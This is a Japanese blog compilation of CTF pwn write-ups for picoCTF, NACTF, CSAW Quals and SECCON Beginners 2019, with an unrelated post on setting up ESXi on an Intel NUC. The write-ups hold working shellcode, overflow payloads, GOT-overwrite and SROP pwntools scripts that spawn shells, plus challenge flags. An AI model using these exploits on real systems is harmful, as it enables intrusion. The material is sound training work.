picoCTF 2019 writeup

picoCTF 2019

いつもどおり yharima で,でも今回も一人だった.
さすがに問題多すぎるというのと, SECCON に向けての練習ということでほぼ pwn しかやらなかった.
7300pts で 1833th. 参加者めちゃくちゃ多いっすね….

数も多いので pwn だけ writeup 書きます.コードは以下.
ctf_log/picoCTF_2019 at master · yuta1024/ctf_log · GitHub

handy-shellcode

32bit のシェルコード流せばOK.

$ (perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\n"'; cat) | ./vuln
Enter your shellcode:
1�Ph//shh/bin��PS��
                    ̀
Thanks! Executing now...
ls
flag.txt  vuln  vuln.c
cat flag.txt
picoCTF{h4ndY_d4ndY_sh311c0d3_4dc9a786}

practice-run-1

実行するだけ.

$ ./run_this
picoCTF{g3t_r3adY_2_r3v3r53}

OverFlow 0

BOF させるだけ.

$ perl -e 'print "A" x 256' | xargs ./vuln
picoCTF{3asY_P3a5yf663660d}

OverFlow 1

BOF させてフラグ表示する関数に飛ばす.

$ perl -e 'print "A" x 76 . "\xe6\x85\x04\x08"' | ./vuln
Give me a string and lets see what happens:
Woah, were jumping to 0x80485e6 !
picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5b80c9cbf}Segmentation fault (core dumped)

NewOverFlow-1

64bit なだけ.なぜか flag 関数の先頭だとうまくいかなかったのでずらしたら動いた.

$ perl -e 'print "A" x 72 . "\x68\x07\x40\x00\x00\x00\x00\x00\n"' | ./vuln
Welcome to 64-bit. Give me a string that gets you the flag:
picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_cfe23f2b}

slippery-shellcode

nop おいて滑らすだけ.

$ (perl -e 'print "\x90" x 256 . "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80\n"'; cat) | ./vuln
Enter your shellcode:
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Rh//shh/bin��RS��B
                                                                             ̀
Thanks! Executing from a random location now...
ls
flag.txt  vuln  vuln.c
cat flag.txt
picoCTF{sl1pp3ry_sh311c0d3_0fb0e7da}

NewOverFlow-2

問題ミスとしか思えない.本当は ROP させたいんだろうけど flag 関数が残ってるので1と同じ.

$ perl -e 'print "A" x 72 . "\x4e\x08\x40\x00\x00\x00\x00\x00\n"' | ./vuln
Welcome to 64-bit. Can you match these numbers?
picoCTF{r0p_1t_d0nT_st0p_1t_e51a1ea0}

OverFlow 2

引数をとるようにするだけ.

$ perl -e 'print "A" x 188 . "\xe6\x85\x04\x08" . "A" x 4 . "\xef\xbe\xad\xde" . "\x0d\xd0\xde\xc0"' | ./vuln
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ�
picoCTF{arg5_and_r3turn598632d70}

CanaRy

canary は固定なので 1byte づつ canary を総当たりして leak させる.
全部 leak させたら戻りアドレスの末尾 2byte を display_flag のアドレスにする.
ただし, objdump でみると 000007ed <display_flag> となっており 0xed はいいにしても 0x07 の部分は 0x07 から 0xf7 までとりうる.
これは確定できないので適当な値を決め打ちして何回か実行したらそのうちあたる.

https://github.com/yuta1024/ctf_log/blob/master/picoCTF_2019/canary/canary.py

$ python /tmp/yuta1024/canary.py
[+] Starting local process '/problems/canary_3_257a2a2061c96a7fb8326dbbc04d0328/vuln': pid 3566097
[+] Receiving all data: Done (71B)
[*] Process '/problems/canary_3_257a2a2061c96a7fb8326dbbc04d0328/vuln' stopped with exit code -11 (SIGSEGV) (pid 3566097)
Ok... Now Where's the Flag?
picoCTF{cAnAr135_mU5t_b3_r4nd0m!_0bd260ce}

leap-frog

win1 && !win1 みたいなふざけた条件があって普通に関数をよんでもだめ.
win1, win2, win3グローバル変数で連続しているので win1 を引数に gets を読んで 3byte 埋めてから display_flag を呼び出してあげれば良い.
はたして想定解法なのか…?

https://github.com/yuta1024/ctf_log/blob/master/picoCTF_2019/leap-frog/leap-frog.py

$ python /tmp/yuta1024/leap-frog.py
[+] Starting local process '/problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c/rop': pid 4130613
[+] Receiving all data: Done (50B)
[*] Process '/problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c/rop' stopped with exit code -11 (SIGSEGV) (pid 4130613)
picoCTF{h0p_r0p_t0p_y0uR_w4y_t0_v1ct0rY_f60266f9}

stringzz

FSB があるので適当に %x 並べてフラグが格納されてるアドレス位置をみつけたらそこを %s するだけ.

$ ./vuln
input whatever string you want; then it will be printed back:

%37$s
Now
your input
will be printed:

picoCTF{str1nG_CH3353_0814bc7c}

GoT

タイトル通り GOT を上書きするだけ.
しかもご丁寧にアドレスを読み込んで任意の値にしてくれる.書き換えるのは最後の exit の GOT.
exit の GOT は 0x804a01c で 10進数になおすと 134520860.
win のアドレスは 0x00485c6134514118.

$ ./vuln
You can just overwrite an address, what can you do?

Input address

134520860
Input value?

134514118
The following line should print the flag

picoCTF{A_s0ng_0f_1C3_and_f1r3_9463c919}

seed-sPRiNG

srand(time(NULL)) したあと rand() & 0xf してるだけなので時間さえ合わして同じシードにしたらローカルで計算した乱数と一致する.
サーバタイムは普通に date すればわかるので適当にずれているなら待てばいい.

$ date && nc 2019shell1.picoctf.com 21871
2019年 10月  4日 金曜日 01:06:47 JST



                          #                mmmmm  mmmmm    "    mm   m   mmm
  mmm    mmm    mmm    mmm#          mmm   #   "# #   "# mmm    #"m  # m"   "
 #   "  #"  #  #"  #  #" "#         #   "  #mmm#" #mmmm"   #    # #m # #   mm
  """m  #""""  #""""  #   #          """m  #      #   "m   #    #  # # #    #
 "mmm"  "#mm"  "#mm"  "#m##         "mmm"  #      #    " mm#mm  #   ##  "mmm"



Welcome! The game is easy: you jump on a sPRiNG.
How high will you fly?

LEVEL (1/30)

Guess the height: 8
LEVEL (2/30)

Guess the height: 6
LEVEL (3/30)

Guess the height: 5
LEVEL (4/30)

Guess the height: 8
LEVEL (5/30)

Guess the height: 13
LEVEL (6/30)

Guess the height: 12
LEVEL (7/30)

Guess the height: 13
LEVEL (8/30)

Guess the height: 15
LEVEL (9/30)

Guess the height: 11
LEVEL (10/30)

Guess the height: 3
LEVEL (11/30)

Guess the height: 14
LEVEL (12/30)

Guess the height: 8
LEVEL (13/30)

Guess the height: 4
LEVEL (14/30)

Guess the height: 1
LEVEL (15/30)

Guess the height: 15
LEVEL (16/30)

Guess the height: 9
LEVEL (17/30)

Guess the height: 8
LEVEL (18/30)

Guess the height: 10
LEVEL (19/30)

Guess the height: 12
LEVEL (20/30)

Guess the height: 7
LEVEL (21/30)

Guess the height: 6
LEVEL (22/30)

Guess the height: 13
LEVEL (23/30)

Guess the height: 5
LEVEL (24/30)

Guess the height: 8
LEVEL (25/30)

Guess the height: 1
LEVEL (26/30)

Guess the height: 1
LEVEL (27/30)

Guess the height: 0
LEVEL (28/30)

Guess the height: 4
LEVEL (29/30)

Guess the height: 5
LEVEL (30/30)

Guess the height: 10
picoCTF{pseudo_random_number_generator_not_so_random_454fbf9b8595fa66a87547e520351217}Congratulation! You've won! Here is your flag:

L1im1tL355

main 関数内で stack に積んでる array[666] は負の index を与えることができる.
replaceIntegerInArrayAtIndex に飛んだ先で戻りアドレスの値を win のアドレスに書き換えてあげればいい.
main から replaceIntegerInArrayAtIndex を呼び出してるので負値の index を与えるといい感じに書き換えれる.

$ ./vuln
Input the integer value you want to put in the array

134514118
Input the index in which you want to put the value

-5
picoCTF{str1nG_CH3353_5243a217}

rop32

/bin/sh がないので gets を使って bss の適当な場所に入力する.
あとはレジスタを pop gadget でいい感じにして int 0x80 してシェルを起動する.
gets は改行がくるとだめなので pop eax; ret; みたいな gadget だとアドレスに 0x0a があってだめだった.

https://github.com/yuta1024/ctf_log/blob/master/picoCTF_2019/rop32/rop32.py

$ python ~/rop32.py
[+] Starting local process '/problems/rop32_1_c4f09c419e5910665553c0237de93dcf/vuln': pid 2046935
[*] Switching to interactive mode
$ ls -l
total 656
-r--r----- 1 hacksports rop32_1        31 Sep 28 21:54 flag.txt
-rwxr-sr-x 1 hacksports rop32_1    661832 Sep 28 21:54 vuln
-rw-rw-r-- 1 hacksports hacksports    466 Sep 28 21:54 vuln.c
$ cat flag.txt
picoCTF{rOp_t0_b1n_sH_b6597626}

rop64

x86_64 にするだけ.

https://github.com/yuta1024/ctf_log/blob/master/picoCTF_2019/rop64/rop64.py

$ python ~/rop64.py
[+] Starting local process '/problems/rop64_4_a266556e68202c0c42d6c14f6c7102b3/vuln': pid 1560430
[*] Switching to interactive mode
$ ls
flag.txt  vuln    vuln.c
$ cat flag.txt
picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_5e28dda5}

まとめ

pwn は全部解きたかったけどいつの間にか終わってた.heap 系苦手‥.

NACTF 2019 writeup

NACTF 2019

yharima で参加…だけど今回も一人.かつぬるく参加して主に pwn だけに手を出した.
メインでやったのは pwn なので pwn だけ writeup を書く.
今回ソースコードは付いてるが読まない縛りをした.

ソース: https://github.com/yuta1024/ctf_log/tree/master/NACTF_2019

f:id:yharima:20190923193304p:plain

BufferOverflow #0

セグフォを起こすと win 関数が呼ばれて flag が表示される.
というわけで適当に BOF させてあげれば良い.

$ python bufover-0.py
[+] Opening connection to shell.2019.nactf.com on port 31475: Done
[+] Receiving all data: Done (98B)
[*] Closed connection to shell.2019.nactf.com port 31475
You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
You win!
flag: nactf{0v3rfl0w_th4at_buff3r_18ghKusB}

BufferOverflow #1

単純に BOF があって EIP 奪えるので BOF させて win 関数に飛ぶようにすれば良い.

$ python bufover-1.py
[+] Opening connection to shell.2019.nactf.com on port 31462: Done
[+] Receiving all data: Done (91B)
[*] Closed connection to shell.2019.nactf.com port 31462
You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb2\x91\x0!
You win!
flag: nactf{pwn_31p_0n_r3t_iNylg281}

BufferOverflow #2

BOF があって EIP が奪えて win 関数に飛ばせば良い.
が, win 関数が適切な引数を取る必要があるので引数に取るようにしてあげれば良い.
Hopper で読んでいる感じだと3つ引数を取る必要があって 0x14b4da55, 0x0, 0xf00db4be を順番に取らないとだめっぽい?

$ python bufover-2.py
[+] Opening connection to shell.2019.nactf.com on port 31184: Done
[+] Receiving all data: Done (101B)
[*] Closed connection to shell.2019.nactf.com port 31184
You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0AAAAUڴ\x14!
You win!
flag: nactf{PwN_th3_4rG5_T0o_Ky3v7Ddg}

Format #0

タイトル通り FSB がある.
フラグ自体は読み込まれていてそのアドレスがスタックに詰まれてるので,そこを表示するようにすれば良い.

$ python format-0.py
[+] Opening connection to shell.2019.nactf.com on port 31782: Done
[+] Receiving all data: Done (52B)
[*] Closed connection to shell.2019.nactf.com port 31782
You typed: nactf{Pr1ntF_L34k_m3m0ry_r34d_nM05f469}

Format #1

次は読み出すのではなく書き換えが必要.
といっても書き換え対象はスタックに詰まれてる.値は 42 にしてあげれば良い.

$ python format-1.py
[+] Opening connection to shell.2019.nactf.com on port 31560: Done
[+] Receiving all data: Done (98B)
[*] Closed connection to shell.2019.nactf.com port 31560
You typed:                                          @
You win!
nactf{Pr1ntF_wr1t3s_t0o_rZFCUmba}

Loopy #0

適当な GOT のアドレスを leak させて BOF してもう1回 main を実行させる.
leak したアドレスから libc のベースアドレスを計算して BOF させて system を実行させれば良い.

$ python loopy-0.py
[+] Opening connection to shell.2019.nactf.com on port 31283: Done
[+] libc_base_addr = 0xf7d04000
[*] Switching to interactive mode
You typed: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$
$ ls
flag.txt
loopy-0
$ cat flag.txt
nactf{jus7_c411_17_4g41n_AnZPLmjm}

Loopy #1

Loopy #0 と同じだが SSP が有効になっていて BOF させて EIP を自由に操作することはできない.

FSB は健在なのでまず GOT を leak するのと __stack_chk_fail の GOT を main に書き換える.
適当な GOT をリーク + わざと BOF させて __stack_chk_fail を呼び出し main を再度呼び出す. これで1回目は libc のベースアドレスを求めれる.

2回目は libc のベースアドレスを知っているのでなにかの GOT を system に書き換えることはできる.
ただし /bin/sh を引数に取らないとだめなので自由な値を渡すことができる関数を書き換える必要がある.
printf は入力を受け取った buffer をそのまま渡してるのでこいつを system に書き換えてあげれば良い.
__stack_chk_fail はすでに main に書き換えてあるので BOF さえすればまた main から呼び出される.

3回目は特に何かする必要はなく入力に /bin/sh を食わせてあげれば良い.

$ python loopy-1.py
[+] Opening connection to shell.2019.nactf.com on port 31732: Done
[+] libc_base_addr = 0xf7d08000
[+] system_addr = 0xf7d46c00
[*] Switching to interactive mode
$ ls
flag.txt
loopy-1
$ cat flag.txt
nactf{lo0p_4r0und_th3_G0T_VASfJ4VJ}

まとめ

FSB 利用して exploit を書くのが苦手.32bit なの久々だった.
pwn は全部解けたので良かった.割と教育的な問題だった印象.でも32bitって最近見ないのがどうなのか,と気にはなった.

CSAW CTF 2019 Quals writeup

CSAW CTF 2019 Quals writeup

いつもどおり yharima で参加…と思いきや一人でした.
久々の CTF だったのと,人も集まらなかったのでぬるりと参加していました.
pwn にだけ手をだして 201 pts の 339th. 難しかった.

ソース: ctf_log/CSAW_CTF_2019_Quals at master · yuta1024/ctf_log · GitHub

f:id:yharima:20190919000742p:plain

mcgriddlev2

pwn だけといいつつ warmup だけは投げた.
flag{W3lcome_7o_CSAW_QUALS_2019!}

baby_boi

繋ぎにいくと何かのアドレスを教えてくれる.しかも懇切丁寧にソースコードもある.
ソースを読むとどうやら printf のアドレスを表示しているらしい.
そのあと露骨に BOF脆弱性がある gets が実行されてプログラムが終了する.
libc も付属しているので printf のアドレスから libc の base アドレスを求める.
あとは one-gadget のアドレスを探索して BOF + one-gadget のアドレスでシェルが立ち上がる.
前回5時間溶かしたので今回はしっかり経験を活かした.
flag{baby_boi_dodooo_doo_doo_dooo}

from pwn import *

context.arch = 'amd64'
con = remote('pwn.chal.csaw.io', 1005)

con.recvline()
msg = con.recvline().strip()

print msg
libc_base_addr = int(msg[13:], 16) - 0x064e80

print "[+] libc_base_addr = 0x%x" % libc_base_addr

payload = 'A' * 40
payload += pack(libc_base_addr + 0x4f322)
con.sendline(payload)

con.interactive()

gotmilk

名前からして露骨に GOT overwrite をする問題だから format string の脆弱性があるんだろうと予想する.
%x とか食わしてみると予想通りアドレスが表示されるので GOT overwrite すればいい.
何をどう上書きするかについては lose という関数の GOT を win に書き換えればいい.
win0x1189lose0x11f8 なので libmylib.so がどこのアドレスにリンクされるかの興味は一切なく,
末尾の 0xf80x89 に書き換えればいい.leak させる必要もない.hhn でやる. flag{y0u_g00000t_mi1k_4_M3!?}

from pwn import *

context.arch = 'i386'

con = remote('pwn.chal.csaw.io', 1004)

con.recvregex('GOT milk\? ')

con.sendline(pack(0x804a010) + '%133c%7$hhn%7$s')

print con.recvline().strip()[13:].encode('hex')
print con.recvall()

Twitch plays shellcode

正気度を疑う問題.x86_64 のシェルコードを twtich のチャットから入力して実行させる問題.
ただしどの行のどの列をどの値にするかはすべてチャット参加者の投票で決まる.なのでもちろん妨害もされる.

https://www.twitch.tv/csawtv

しばらく眺めていると結構いい感じに進んでいるタイミングを発見.結局色々あって2時間くらいかかっていた.
途中状況がわかってない人や荒らしっぽい人が入ってきてマジギレしてる人とかいて殺伐としていた.問題としてどうなのか….
最終的に実行されたシェルコードは以下だったはず.

\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8\x1a\x00\x00\x00\x63\x61\x74\x20\x2f\x68\x6f\x6d\x65\x2f\x74\x77\x69\x74\x63\x68\x2f\x66\x6c\x61\x67\x2e\x74\x78\x74\x00\x56\x57\x48\x89\xe6\x0f\x05

最終的にフラグは以下.
flag{https://www.youtube.com/watch?v=pGFGD5pj03M} f:id:yharima:20190919003135p:plain

small_boi

コンテスト中は解けなくて後から解いた.

すごい小さく dynamic link もしてないバイナリ.libc はないが syscall はいくつかある. BOF があるので ROP してなんとかすればいいんじゃないかと思い試行錯誤するも敗北.
pop eax はあるので任意の syscall は呼び出せる,でも rdi をセットできない.
/bin/sh はなぜか strings すると以下のようにあるのでほんと rdi だけセットできれば勝てる. (1ca だが調べてみると 0x400000 が base になるらしいのでそれを足した 0x4001ca/bin/shのアドレス).

$ strings -tx ./small_boi | grep /bin/sh
    1ca /bin/sh

ここから無限に迷走して終了した.

どうも Sigreturn-oriented Programming(SROP) 問題だったらしい.
sigreturn 命令は確かに ropgadget の中にあった.

0x00400180: mov eax, 0x0000000F ; syscall  ;  (1 found)

こいつを呼び出すとレジスタを任意の値にセットでき,そこでセットした rip から処理が続行されるらしい.
詳しい解説は SROP などで調べてください.
なのでやることは以下.

  • BOF させて 0x400180 の sigreturn を実行
  • rax に execve の syscall 番号 0x3b をセット
  • rdi に /bin/sh のアドレス 0x4001ca をセット
  • rip に 上記でセットしたレジスタ状態で syscall を呼びたいので syscall のアドレスをセット(どれでもいい)

するとシェルがあがる(以下はローカルで動作確認した).

from pwn import *

context.arch = 'amd64'
# con = remote('pwn.chal.csaw.io', 1002)
con = remote('192.168.10.66', 11002)

payload = 'A' * 40
payload += pack(0x400180)
frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = 0x4001ca
frame.rip = 0x400185
payload += str(frame)
con.sendline(payload)

con.interactive()

まとめ

Twitch の問題はいくらなんでも厳しすぎると思った.
そして SROP 知らないのダメダメですね….もっと勉強しなければ….

ESXi 6.7U2 on BOXNUC8I5BEH

ESXi 6.7U2 on BOXNUC8I5BEH

以前は以下でも書いたように第5世代の NUC に ESXi を入れて使っていたが,古くなってきたのと新しいものが欲しくなってきたので調達してみた.

yuta1024.hateblo.jp

買ったもの

アフィは嫌いなので型番と値段だけ転がしておく.計69442円.
電源ケーブル(ミッキーケーブル)は付属してないので注意.

  • 本体: Intel NUC Kit BOXNUC8I5BEH(46622円)
  • メモリ: CFD Selection D4N2400CM-16G * 2本(8585円 * 2本)
  • ストレージ: ADATA XPG SX6000 Pro ASX6000PNP-256GT-C(4900円)
  • ブートディスク: SanDisk Cruzer Fit SDCZ33-016G-JA57(660円)

組み立て

蓋開けてメモリと NVMe 挿すだけ.

メモリテスト

最終的にはブートディスクにはするけど先に memtest 投げ込んでテスト.
memtest は以下の free 版で.

www.memtest86.com

hammer test は外して4周するのに3時間40分くらいだった.

f:id:yharima:20190812172444j:plain

BIOS の更新

ESXi 入れる前に BIOS を最新にしておいたほうが良いという情報が散見されたのであげた.
memtest で使った USB メモリを FAT32 でフォーマットして以下から落としてきた BIOS を普通にコピーするだけ.
自分がダウンロードしたのは "OS Independent" の "BE0073.bio"(現時点最新なので数字は変わりそう).

downloadcenter.intel.com

NUC を起動したら F2 を押して UEFI を起動して以下の手順に従って更新.
FAT32 の USB メモリを普通に読めるとかすごいですね(老害並み感).

www.intel.com

ESXi のインストール用 USB メモリの作成

今回の NUC はカスタムイメージである必要がないので,公式から ESXi 6.7U2 を落としてきてブートディスク用の USB メモリに Rufus で bootable image に変換してあげれば良い.
手順は以下を参考に.というかこのサイトが最高.

www.virten.net

ESXi のインストール

上記で作成した USB メモリを作成して手順に従ってインストールするだけ.
自分は NVMe は VM 用のディスクとして利用するので, ESXi はインストール用 USB メモリに書き込んだ.

f:id:yharima:20190812174445j:plain

まとめ

メモリも 32GB になって,カスタムイメージじゃなくなったりでさらに楽になって最近の NUC は素晴らしい.
k8s はあれだし Normad あたりで遊ぶ予定.

SECCON Beginners CTF 2019 writeup

SECCON Beginners CTF 2019

yharima で参加.誰もいないかと思ってたら後輩二人が参加してくれたので3人で.
チームは 3415 pts の 11th, 個人は 2363 pts の 19th. なぜ10位以内に入れないのか….

f:id:yharima:20190526151028p:plain

[warmup] Welcome

IRC 繋ぎに行くだけ.
ctf4b{welcome_to_seccon_beginners_ctf}

memo

最初これが Pwn の warmup だったと思うんだけど途中で変わった…?

入力の長さを受け取って,そのあとその入力を受け付けるだけのプログラム.
objdump すると hidden という関数があって EIP 奪ってこいつに飛ばせば勝ちっぽい.
入力は 0x1f と比較しているので 32 以上を入れないとだめっぽい.
動かしていくと長さ調整すると書き込みスタックのアドレスが変動していくのが観測できた(ローカル GDB 環境).

32: 0x7fffffffe430 =>0x7fffffffe400
64: 0x7fffffffe430 => 0x7fffffffe3e0

戻りアドレスが 0x7fffffffe480 においてあるのでそのように長さを調整すれば良いかと思ったが,
増やしていくと遠ざかっていく.負の長さ入れたらどうなるんだろうと思ったら通ってしまい,スタックの位置が調整できた.
あとは長さを GDB で確認して調整しつつ hidden に飛ばしてあげればいい.
ただ,自分は hidden の先頭アドレスだとローカルでは上がるがリモートでは上がらなかったので,適当にずらしたら動いた.スタックでも壊れてたんだろうか?

from pwn import *

context.arch = 'amd64'
con = remote('133.242.68.223', 35285)

con.recvregex('Input size :')
con.sendline('-96')
con.recvregex('Input Content :')

payload = pack(0x4007c1) * 4
con.sendline(payload)
con.recvline()

con.interactive()

上記を実行すると以下のような感じでフラグがとれる.

(CTF) mbp:CTF yuta1024$ python memo.py
[+] Opening connection to 133.242.68.223 on port 35285: Done
[*] Switching to interactive mode
$ ls -l
total 16
-rw-r----- 1 root memo   27 May 19 11:00 flag.txt
-rwxr-x--- 1 root memo 8632 May 22 16:13 memo
$ cat flag.txt
ctf4b{h4ckn3y3d_574ck_b0f}
$
[*] Interrupted
[*] Closed connection to 133.242.68.223 port 35285

[warmup] Seccompare

動かすと flag を引数にとって動かすらしい.
objdump してみると以下のように露骨にフラグっぽいものが.

  400630:    c6 45 d0 63             mov    BYTE PTR [rbp-0x30],0x63
  400634:   c6 45 d1 74             mov    BYTE PTR [rbp-0x2f],0x74
(snip)
  40069c:   c6 45 eb 7d             mov    BYTE PTR [rbp-0x15],0x7d
  4006a0:   c6 45 ec 00             mov    BYTE PTR [rbp-0x14],0x0

以下のワンラインナーで適当に処理した.

$ objdump -M intel -d seccompare  | grep "mov    BYTE PTR \[rbp-" | awk -F ',' '{print $2}' | xargs -I% perl -e 'print chr(%)'
ctf4b{5tr1ngs_1s_n0t_en0ugh}

[warmup] shellcoder

シェルコードを食わして実行してくれるプログラム.
ただし,制限として "b", "i", "n", "s", "h" が禁止でペイロード長は 0x28 まで.
禁止文字列は基本シェルコードの "//bin/sh" を push するところが問題になるだけなのでそこを4で割ったものを push して後続で調整してあげる方針に(2で割ると偶然禁止文字列にあたってしまうため).
以下のようなシェルコードを書いて動作を確認.

        .intel_syntax noprefix
        .globl _start
_start:
        xor rdx, rdx
        push rdx
        mov rax, 0x1a1ccbcbdb9a588b
        shl rax, 0x02
        or rax, 0x0f
        push rax
        mov rdi, rsp
        push rdx
        push rdi
        mov rsi, rsp
        lea rax, [rdx+59]
        syscall

4倍するより2bit 左 shift するほうが命令列が少ない.末尾は 0xf なので add してもよかったがこれも節約のため 0x0f と or することにした.
これをコンパイルして16進数にしたら,あとはサーバに投げれば以下のようにフラグが取れる.

from pwn import *

context.arch = 'amd64'
con = remote('153.120.129.186', 20000)

shellcode = "\x48\x31\xd2\x52\x48\xb8\x8b\x58\x9a\xdb\xcb\xcb\x1c\x1a\x48\xc1\xe0\x02\x48\x83\xc8\x0f\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05"

con.recvline()
con.sendline(shellcode)

con.interactive()

実行結果は以下.

(CTF) mbp:CTF yuta1024$ python shellcoder.py
[+] Opening connection to 153.120.129.186 on port 20000: Done
[*] Switching to interactive mode
$ ls
flag.txt
shellcoder
$ cat flag.txt
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}

Sliding puzzle

スライドパズルを解くだけのゲーム.
Python でこういうの書くの苦手なので solver は C++ で書いて通信部分だけ Python というキモい構成.
久々に C++ 書いて実装力の低下を感じた.30分ちょっとかかった気がする.

#include <iostream>
#include <fstream>
#include <vector>
#include <queue>
#include <set>
using namespace std;

const int SIZE = 3;
const int dx[] = {0, 1, 0, -1};
const int dy[] = {-1, 0, 1, 0};
const int dm[] = {0, 1, 2, 3};

class State {
public:
 int pos;
 vector<vector<int> > p;
 vector<int> move;

 State(int pos, vector<vector<int> > p, vector<int> move) {
   this->pos = pos;
   this->p = p;
   this->move = move;
 }
};

bool validate(const vector<vector<int> >& p) {
  int prev = -1;
  for (int i = 0; i < SIZE; ++i) {
    for (int j = 0; j < SIZE; ++j) {
      if (prev > p[i][j]) {
        return false;
      }
      prev = p[i][j];
    }
  }
  return true;
}

vector<int> solve(const vector<vector<int> >& p, int pos) {
  queue<State> q;
  q.push(State(pos, p, vector<int>()));

  set<vector<vector<int> > > visited;
  while (!q.empty()) {
    const State s = q.front();
    q.pop();
    visited.insert(s.p);
    if (validate(s.p)) {
      return s.move;
    }

    for (int d = 0; d < 4; ++d) {
      int xx = s.pos % SIZE + dx[d];
      int yy = s.pos / SIZE + dy[d];
      if (xx < 0 || xx >= SIZE || yy < 0 || yy >= SIZE) {
    continue;
      }
      
      vector<vector<int> > pp = s.p;
      swap(pp[s.pos / SIZE][s.pos % SIZE], pp[yy][xx]);
      if (visited.find(pp) == visited.end()) {
        vector<int> mm = s.move;
    mm.push_back(dm[d]);
    int new_pos = yy * SIZE + xx;
    q.push(State(new_pos, pp, mm));
      }
    }
  }
}

int main() {
  int pos = -1;
  vector<vector<int> > p(SIZE, vector<int>(SIZE));
  ifstream ifs("in.txt");
  cin.rdbuf(ifs.rdbuf());
  for (int i = 0; i < SIZE; ++i) {
    for (int j = 0; j < SIZE; ++j) {
      cin >> p[i][j];
      if (p[i][j] == 0) {
     pos = i * SIZE + j;
      }
    }
  }

  vector<int> ans = solve(p, pos);
  for (int i = 0; i < ans.size(); ++i) {
    cout << ans[i] << " ";
  }
  cout << endl;
  return 0;
}

これをコンパイルして,以下の Python プログラムで処理する.

from pwn import *
import subprocess
import sys

con = remote('133.242.50.201', 24912)

for i in range(1000):
    print con.recvline()
    l1 = con.recvline().split(' ')
    print l1
    l2 = con.recvline().split(' ')
    print l2
    l3 = con.recvline().split(' ')
    print l3
    print con.recvline()
    print con.recvline()
    p = [
        l1[1], l1[3], l1[5],
        l2[1], l2[3], l2[5],
        l3[1], l3[3], l3[5],
    ]
    print p
    with open('./in.txt', mode='w') as f:
        f.write(' '.join(p))
    res = subprocess.check_output("./a.out")
    con.sendline(','.join(res.strip().split(' ')))

何問あるかわからんかったので適当に 1000. 100 だとだめだった気がする. これを実行するとフラグが取れる.
ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}

Dump

ダウンロードして file してみると pcap であることがわかる.
Wireshark で開くと HTTP 通信がある.どうやら webshell が置いてあってフラグを引っこ抜いてるらしい.
hexdump -e '16/1 "%02.3o " "\n"' /home/ctf4b/flag のリクエストの応答を抜いてくればよさそう.
ただし,8進数に変換されているので適当にプログラムを書いてゴニョゴニョしてバイナリとして書き出す.
なにかいい方法があるんだろうけど,よくわからんかったので力技でゴミスクリプト書いた(恥ずかしいので載せない).
結局は zip ファイルなので解凍すると jpeg 画像がでてきてその中にフラグが書いてある.
ctf4b{hexdump_is_very_useful

Leakage

パッと見て angr かけたらいけそうと思って以下のどっかで書いた(Google CTF のどれかで angr のサンプルにあったはず)コードを流用して終わり.

import angr
import claripy

proj = angr.Project('./leakage', load_options={"auto_load_libs": False})

input_size = 0x22 # 4005ff
argv1 = claripy.BVS("argv1", input_size * 8)

initial_state = proj.factory.entry_state(args=["./leakage", argv1], add_options={angr.options.LAZY_SOLVES})
initial_state.libc.buf_symbolic_bytes=input_size + 1

for byte in argv1.chop(8):
  initial_state.add_constraints(byte != '\x00') # null
  initial_state.add_constraints(byte >= ' ') # '\x20'
  initial_state.add_constraints(byte <= '~') # '\x7e'

sm = proj.factory.simgr(initial_state)
sm.explore(find=0x4006ae, avoid=0x4006bc)
found = sm.found[0]
solution = found.se.eval(argv1, cast_to=str)
solution = solution[:solution.find("}")+1]
print solution

適当に待ってるとフラグが出る.
ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}

Linear Operation

これも angr に流すだけのゲームだった.以下のサイトを参考に変更しないといけないところだけ変えた.

angrでシンボリック実行をやってみる - ももいろテクノロジー

import angr

p = angr.Project('./linear_operation', load_options={'auto_load_libs': False})

addr_main = 0x40cee1
addr_succeeded = 0x40cf78
addr_failed = 0x40cf86
print "main = %x" % addr_main
print "succeeded = %x" % addr_succeeded
print "failed = %x" % addr_failed

initial_state = p.factory.blank_state(addr=addr_main)
initial_path = p.factory.path(initial_state)
pg = p.factory.path_group(initial_path)
e = pg.explore(find=(addr_succeeded,), avoid=(addr_failed,))

if len(e.found) > 0:
    print 'Dump stdin at succeeded():'
    s = e.found[0].state
    print "%r" % s.posix.dumps(0)

これもしばらく待ってるとフラグが出る. ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}

OneLine

今回一番苦労した問題.もう二度と one-gadget のことは忘れない.

スタック問題ではなく heap が 40 byte 確保されそこに読み書きしている.
そしてなぜかその heap の末尾にリンクされた libc の write のアドレスが書き込まれている.
実行してみるとわかるが,1回目の入力ときに A だけとか入力するとなにか怪しい文字列が表示される.

You can input text here!
